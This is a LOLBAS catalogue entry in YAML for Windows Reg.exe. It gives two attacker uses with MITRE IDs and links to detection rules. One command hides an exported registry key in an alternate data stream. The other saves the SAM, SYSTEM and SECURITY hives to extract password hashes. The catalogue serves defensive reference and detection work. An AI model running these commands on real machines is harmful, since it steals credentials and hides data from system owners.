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https://github.com/LOLBAS-Project/LOLBAS
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40 lines
2.2 KiB
YAML
40 lines
2.2 KiB
YAML
---
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Name: Reg.exe
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Description: Used to manipulate the registry
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
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Description: Export the target Registry key and save it to the specified .REG file within an Alternate data stream.
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Usecase: Hide/plant registry information in Alternate data stream for later use
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: reg save HKLM\SECURITY c:\test\security.bak && reg save HKLM\SYSTEM c:\test\system.bak && reg save HKLM\SAM c:\test\sam.bak
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Description: Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material
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Usecase: Dump credentials from the Security Account Manager (SAM)
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Category: Credentials
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Privileges: Administrator
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MitreID: T1003.002
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OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\reg.exe
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- Path: C:\Windows\SysWOW64\reg.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/d9edc9f0e365257aa497cc7707e58f396088958e/rules/windows/process_creation/win_regedit_import_keys_ads.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/d9edc9f0e365257aa497cc7707e58f396088958e/rules/windows/process_creation/win_regedit_import_keys.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/9f27ab5426a0b061f1f2787e3dc947d6d75ad8c0/rules/windows/process_creation/win_grabbing_sensitive_hives_via_reg.yml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/attempted_credential_dump_from_registry_via_reg_exe.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_dump_registry_hives.toml
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- IOC: reg.exe writing to an ADS
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Resources:
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- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
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- Link: https://pure.security/dumping-windows-credentials/
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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---
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